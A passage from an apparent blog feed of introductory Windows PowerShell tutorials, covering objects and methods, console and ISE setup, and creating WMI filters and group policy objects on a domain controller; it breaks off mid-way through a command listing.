<p>You will notice that methods are always called with <strong>( )</strong>&#160; in the end since a methods takes parameters, properties we can call directly and they are the state of when the object was created that is why we execute the command and work with the object directly by running the command between parenthesis.&#160; </p>

<p>Also properties and the results from methods can have methods and more properties beneath them, we can chain this to get the value or results we want.</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; $srv.Status.GetType()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">IsPublic IsSerial Name                                     BaseType
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">-------- -------- ----                                     --------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">True     True     ServiceControllerStatus                  System.Enum</pre></pre>

<p>Another way would be to use the refresh method:</p>

<pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; $srv.Status
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Running
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; $srv.Stop()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; $srv.Refresh()
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; $srv.Status
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Stopped</pre></pre>

<p>As you can see one of the main advantages of PowerShell is the is the advantage to manipulate the data as objects and not as text. In the next post I will cover more on how to work with several objects, how to modify the objects and piping. </p>

<p>As always I hope you find this post informative and useful.</p>]]></content></entry><entry><title>Introduction to Microsoft PowerShell &amp;ndash; What is it and Setup</title><id>http://www.darkoperator.com/blog/2012/3/28/introduction-to-microsoft-powershell-ndash-what-is-it-and-se.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/3/28/introduction-to-microsoft-powershell-ndash-what-is-it-and-se.html"/><author><name>Carlos Perez</name></author><published>2012-03-28T01:46:41Z</published><updated>2012-03-28T01:46:41Z</updated><content type="html" xml:lang="en-US"><![CDATA[<h2>What Is PowerShell</h2>  <p>I do believe that one of the biggest skills that both Administrator and Security Professional should have is to be able to automate tasks on a systems they are responsible for. Many old Unix long bearded veterans say that admins are lazy and they script and automate tasks because of that, I see it as being smart, we are taking tasks that could take hours and crunch it down to seconds, we reduce risk by making sure an action is repeatable and we learn in the process of automating making us better. So I decided to start a series of blog post and do an introduction on one of my favorite scripting languages which is Microsoft PowerShell. </p>  <p>PowerShell as the name implies is a shell first, a scripting language second. Microsoft a long time ago did a study on areas that they considered they where week and needed improvement and one of this was the ability to automate and administer a system thru a shell. Microsoft designed and came with what I consider a rather unique approach in PowerShell and that is a Object Model based shell. Most shells in Linux, Unix and even cmd.exe shell in Windows are text driven where each command returns it’s out put in strings, in PowerShell the output of each command or cmdlet as it is called in PowerShell is a .Net Object that we can then use in many unique ways.&#160; The grammar is based originally on the POSIX Shell grammar and then evolved and expanded by adding concepts from Perl, Python, VBScript and C#.</p>  <h2>Setting Up the Environment</h2>  <p>Depending our version of Windows are the steps we need to take to get PowerShell running on our system. On Windows system after Windows 7 and Windows Server 2008 R2 power shell comes built in, on Windows 2008 it i s a feature that needs to be installed from the feature available in server manager and on Windows Vista, Windows XP and Windows 2003 you will need to download the installer from the download section in <a href="http://www.microsoft.com/powershell">http://www.microsoft.com/powershell</a> and install the package. For this series I will be covering v2.0 of PowerShell and some of the new improvements that will come with v3.0.&#160; One important thing to keep in mind is that PowerShell uses the .Net framework so running the latest version of .Net Framework will provide us the best flexibility and capabilities on the objects returned from the PowerShell commands. </p>  <p>You will notice the depending your platform and build you will have x86 and/or x64 versions of PowerShell console and PowerShell ISE (Interactive Scripting Environment), the shortcuts will be located in Windows XP, Windows 2003 and Windows Vista in&#160; <strong>Start –&gt; All Programs –&gt;Windows PowerShell V2</strong> and on more modern versions of Windows you will find it in <strong>Start –&gt; All Programs –&gt; Accessories –&gt; Windows PowerShell </strong>in addition to this from a command prompt or from the run dialog box you can call powershell.exe for the console and powershell_ise.exe to launch the Integrated Scripting Environment. </p>  <h3>The Console</h3>  <p>One of the first things you will notice when you launch the console in your machine it will be a console screen with a Blue background and lightly yellow letters </p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353332" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353333" width="684" height="440" /></a></p>  <p>I recommend that you customize even more the shortcut by doing a <strong>Right Click</strong> on the <strong>PowerSherll Symbol</strong> on the top left and selecting <strong>Properties</strong></p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353334" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353335" width="626" height="451" /></a></p>  <p>In Options increase Buffer Size so as to save more commands in the buffer and enable QuickEdit Mode and Insert Mode if not selected.</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353336" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353337" width="350" height="432" /></a></p>  <p>Under Layout we can adjust the With and the Height of our Screen Buffer to better accommodate our screen size and the amount of output history we want for scrolling&#160; in the Console.</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353339" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353342" width="371" height="455" /></a></p>  <p>If a program line Exchange Server or VMware PowerCLI sets a separate shortcut for a console for use of their snapping we must also do the changes on those shortcuts also. If you run PowerShell by invoking the command via a command prompt or thru the Run dialog box you will be greeted with a screen like this one:</p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353343" rel="lightbox"><img style="background-image: none; border-right-width: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top-width: 0px; border-bottom-width: 0px; border-left-width: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353345" width="684" height="341" /></a></p>  <p>Easily confused with a command prompt and does not have any of the setting we set since those are for the shortcut it self. Since PowerShell is a component at setup none of those settings that come set by default are set because PowerShell reads the information from HKCU\Console for the user. To customize this I recommend you visit this page <a title="http://poshcode.org/2220" href="http://poshcode.org/2220">http://poshcode.org/2220</a> and copy and paste the PowerShell code shown there and paste it in a PowerShell prompt running as Administrator you can use the Windows Calculator in Scientific mode to set your values in the proper hex values and do the changes in notepad before running the commands. This will give you a console like the one you call from the shortcut in your programs menu. These changes can also be made on Windows 8 running PowerShell v3.</p>  <p>Console Keyboard Commands</p>  <table border="0" cellspacing="1" cellpadding="2" width="696"><tbody>     <tr>       <td valign="top" width="201">         <p align="center">Keyboard</p>       </td>        <td valign="top" width="490">         <p align="center">Operation</p>       </td>     </tr>      <tr>       <td valign="top" width="202">Left/Right Arrow Keys</td>        <td valign="top" width="489">Move the editing cursor one space each time thru the current command line.</td>     </tr>      <tr>       <td valign="top" width="203">Crtl+Left Arrow, Crtl+Right Arrow Keys</td>        <td valign="top" width="488">Moves the editing cursor one word each time thru the current command line</td>     </tr>      <tr>       <td valign="top" width="204">Home</td>        <td valign="top" width="487">Moves cursor to beginning of the current command line</td>     </tr>      <tr>       <td valign="top" width="205">End</td>        <td valign="top" width="487">Moves cursor to the end of the current command line</td>     </tr>      <tr>       <td valign="top" width="205">Up/Down Arrow Keys</td>        <td valign="top" width="487">Moves up and down thru the command history</td>     </tr>      <tr>       <td valign="top" width="205">Tab</td>        <td valign="top" width="487">Does command and option completion</td>     </tr>      <tr>       <td valign="top" width="205">F7 </td>        <td valign="top" width="487">Shows command history window that can be navigated with the Up and Down Arrow Keys, pressing Enter will execute the command selected in the window</td>     </tr>      <tr>       <td valign="top" width="205">Insert Key</td>        <td valign="top" width="487">Toggles between character insertion and character overwrite mode</td>     </tr>      <tr>       <td valign="top" width="205">Delete Key</td>        <td valign="top" width="487">Deletes a character under the editing cursor in the current command line</td>     </tr>      <tr>       <td valign="top" width="205">Backspace Key</td>        <td valign="top" width="487">Deletes a character to the left of the editing cursor in the current command line</td>     </tr>   </tbody></table>  <p>In the addition to the history command window one sees when pressing the F7 Key </p>  <p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353346" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353348" width="624" height="409" /></a></p>  <p>One can use the Get-History cmdlet or the history alias for the command (More details on command and how to use the history command for generating scripts in blog posts to come) he command will return a list of the commands enter indexed with a number:</p>  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Carlos Perez&gt; get-history
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">  Id CommandLine
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">  -- -----------
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">   1 dir
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">   2 Get-Process
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">   3 Get-Service
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">   4 Get-Command -Verb get
</pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre></pre>
To recall one of the commands in the history one uses the # symbol and the number of the command an the press the tab key to pull the command from history to the current command line.&#160; <p>&#160;</p>

<h3>Integrated Scripting Environment</h3>

<p>Microsoft started including with PowerShell 2.0 the ISE (Integrated Scripting Environment) this is more than a script editor it also functions as as interactive shell and support plugins that can extend it’s functionality. </p>

<p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353349" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353350" width="605" height="435" /></a></p>

<p>Some of the advantages of the ISE are:</p>

<ol>
  <li>Multiple Script editing tabs.</li>

  <li>Use of easier editing and selection of command output.</li>

  <li>Color Syntax for PowerShell Scripts</li>

  <li>Remote PowerShell Session.</li>

  <li>Execution of selected PowerShell Code with F8</li>

  <li>Tab Completion for Command and Options</li>
</ol>

<p>Microsoft greatly improved ISE in PowerShell v3 by adding IntelliSense just like in Visual Studio an improve command window that looks and behaves better and a command search pane:</p>

<p><a href="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353351" rel="lightbox"><img style="background-image: none; border-bottom: 0px; border-left: 0px; padding-left: 0px; padding-right: 0px; display: inline; border-top: 0px; border-right: 0px; padding-top: 0px" title="image" border="0" alt="image" src="http://www.darkoperator.com/resource/Windows-Live-Writer-Introduction-to-Microsoft-PowerShell-Wha_147D8-?fileId=17353353" width="673" height="478" /></a>&#160;</p>

<p>&#160;</p>

<h2>Conclusion</h2>

<p>I invite you to play with settings for your console and ISE and get it to a point where you are confortable with the setup and appearance and also invite you to play a bit with the commands. In the next blog post we will go a little deeper in to the existing commands, loading modules and snapping, getting help and execution policy for scripts.&#160; </p>]]></content></entry><entry><title>Creating WMI Filters and GPOs with PowerShell</title><category term="WMI"/><category term="group policy"/><category term="powershell"/><id>http://www.darkoperator.com/blog/2012/3/23/creating-wmi-filters-and-gpos-with-powershell.html</id><link rel="alternate" type="text/html" href="http://www.darkoperator.com/blog/2012/3/23/creating-wmi-filters-and-gpos-with-powershell.html"/><author><name>Carlos Perez</name></author><published>2012-03-23T00:01:38Z</published><updated>2012-03-23T00:01:38Z</updated><content type="html" xml:lang="en-US"><![CDATA[<p>In my last 2 blog post I covered the creation of group policy objects for distributing certificates to all computers in a domain and enable Network Level Authentication on them plus also covered how to create and use WMI filters to specify which machines a Group Policy Object should apply to.   On this blog post I will cover how to do this with Windows 2008 R2 built in PowerShell Module and some external ones from SDM Software.   The GPO that we will be creating is to disable RDP on none Vista, Windows 7 and Windows 2008 hosts since following the other&#160; blog posts these do not support NLA on their Remote Desktop Service. We will use PowerShell on a Windows 2008 R2 Domain Controller. Since we are going to use external scripts we would first start modifying the execution policy this is done by running the Set-ExecutionPolicy command to allow local scripts to execute without the need of being signed.  <pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt; Set-ExecutionPolicy remotesigned<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Execution Policy Change<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">The execution policy helps protect you from scripts that you do not trust. Changing the execution policy might expose<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">you to the security risks described in the about_Execution_Policies help topic. Do you want to change the execution<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">policy?<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">[Y] Yes  [N] No  [S] Suspend  [?] Help (default is &quot;<span style="color: #8b0000">Y</span>&quot;): y<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Windows\system32&gt;</pre></pre></p><p>As stated by the command this could be a potential security risk so do remember to re-run the command at the en with the execution policy of Restricted. Before we start creating group policy objects and linking them we should create a WMI Filter that we will attach to the policy. I took the liberty to write one based on another one I saw in the Microsoft Scripting Repository that will create a series of base filters for you when ran in a Domain Controller running Windows 2008 or Windows 2008 R2. You can download the script from my GitHub account at <a title="https://github.com/darkoperator/powershell_scripts/blob/master/create-wmifilters.ps1" href="https://github.com/darkoperator/powershell_scripts/blob/master/create-wmifilters.ps1">https://github.com/darkoperator/powershell_scripts/blob/master/create-wmifilters.ps1</a> the script will make the necessary changes to the registry to allow modification of attributes locally on the box thus allowing us to add the filters. The script is ran from a PoweShell Window providing the path like any other PowerShell script:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\Users\Administrator\Documents&gt; .\create-wmifilters.ps1<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Checking is registry key is set to allow changes to AD System Only Attributes is set.<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Allow System Only Change key is not set<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Creating key and setting value to 1<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Starting creation of WMI Filters:<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Virtual Machines<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Workstation 32-bit<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Workstation 64-bit<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Workstations<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Domain Controllers<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Servers<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows 2000<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows XP<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows Vista<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows 7<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows Server 2003<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows Server 2008<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows Server 2008 R2<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows Vista and Windows Server 2008<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows Server 2003 and Windows Server 2008<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Adding WMI Filter for: Windows 2000, XP and 2003<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Finished adding WMI Filters<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Disabling Allow System Only Change Attributes on server</pre></pre></p><p>Now you will have some WMI Filters we can use as base in our Group Policy Objects, do remember that we can have several filters linked to a single GPO. </p><p>Once this is done we can import the GroupPolicy PowerShell module that is installed on Windows 2008 Domain Controllers when promoted and look at the available commands we get from the module:</p><p><pre style="border-bottom: #cecece 1px solid; border-left: #cecece 1px solid; padding-bottom: 5px; background-color: #c0c0c0; min-height: 40px; padding-left: 5px; width: 800px; padding-right: 5px; overflow: auto; border-top: #cecece 1px solid; border-right: #cecece 1px solid; padding-top: 5px"><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\&gt; <strong>Import-Module grouppolicy</strong><br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">PS C:\&gt; <strong>Get-Command -Module grouppolicy | Format-Table -AutoSize</strong><br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px"></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">CommandType Name                       Definition<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">----------- ----                       ----------<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Backup-GPO                 Backup-GPO -Guid &lt;Guid&gt; -Path &lt;String&gt; [-Comment &lt;String&gt;] [-Domain &lt;String&gt;]...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Copy-GPO                   Copy-GPO -SourceGuid &lt;Guid&gt; -TargetName &lt;String&gt; [-SourceDomain &lt;String&gt;] [-T...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPInheritance          Get-GPInheritance [-Target] &lt;String&gt; [-Domain &lt;String&gt;] [-Server &lt;String&gt;] [-...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPO                    Get-GPO [-Guid] &lt;Guid&gt; [[-Domain] &lt;String&gt;] [[-Server] &lt;String&gt;] [-All] [-Ver...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPOReport              Get-GPOReport [-Guid] &lt;Guid&gt; [-ReportType] &lt;ReportType&gt; [[-Path] &lt;String&gt;] [[...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPPermissions          Get-GPPermissions -Guid &lt;Guid&gt; [-TargetName &lt;String&gt;] [-TargetType &lt;Permissio...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPPrefRegistryValue    Get-GPPrefRegistryValue -Guid &lt;Guid&gt; -Context &lt;GpoConfiguration&gt; -Key &lt;String...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPRegistryValue        Get-GPRegistryValue -Guid &lt;Guid&gt; -Key &lt;String&gt; [-ValueName &lt;String&gt;] [-Domain...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPResultantSetOfPolicy Get-GPResultantSetOfPolicy [-Computer &lt;String&gt;] [-User &lt;String&gt;] -ReportType ...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Get-GPStarterGPO           Get-GPStarterGPO -Guid &lt;Guid&gt; [-Domain &lt;String&gt;] [-Server &lt;String&gt;] [-All] [-...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Import-GPO                 Import-GPO -BackupId &lt;Guid&gt; -Path &lt;String&gt; [-TargetGuid &lt;Guid&gt;] [-TargetName ...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      New-GPLink                 New-GPLink -Guid &lt;Guid&gt; -Target &lt;String&gt; [-LinkEnabled &lt;EnableLink&gt;] [-Order ...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      New-GPO                    New-GPO [-Name] &lt;String&gt; [-Comment &lt;String&gt;] [-Domain &lt;String&gt;] [-Server &lt;Str...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      New-GPStarterGPO           New-GPStarterGPO [-Name] &lt;String&gt; [-Comment &lt;String&gt;] [-Domain &lt;String&gt;] [-Se...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Remove-GPLink              Remove-GPLink -Guid &lt;Guid&gt; -Target &lt;String&gt; [-Domain &lt;String&gt;] [-Server &lt;Stri...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Remove-GPO                 Remove-GPO -Guid &lt;Guid&gt; [-Domain &lt;String&gt;] [-Server &lt;String&gt;] [-KeepLinks] [-...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Remove-GPPrefRegistryValue Remove-GPPrefRegistryValue [[-Server] &lt;String&gt;] -Guid &lt;Guid&gt; -Context &lt;GpoCon...<br /></pre><pre style="background-color: #c0c0c0; margin: 0em; width: 100%; font-family: consolas,&#39;Courier New&#39;,courier,monospace; font-size: 11px">Cmdlet      Remove-GPRegistryValue     Remove-GPRegistryValue [-Guid] &lt;Guid&gt; [-Key] &lt;String&gt; 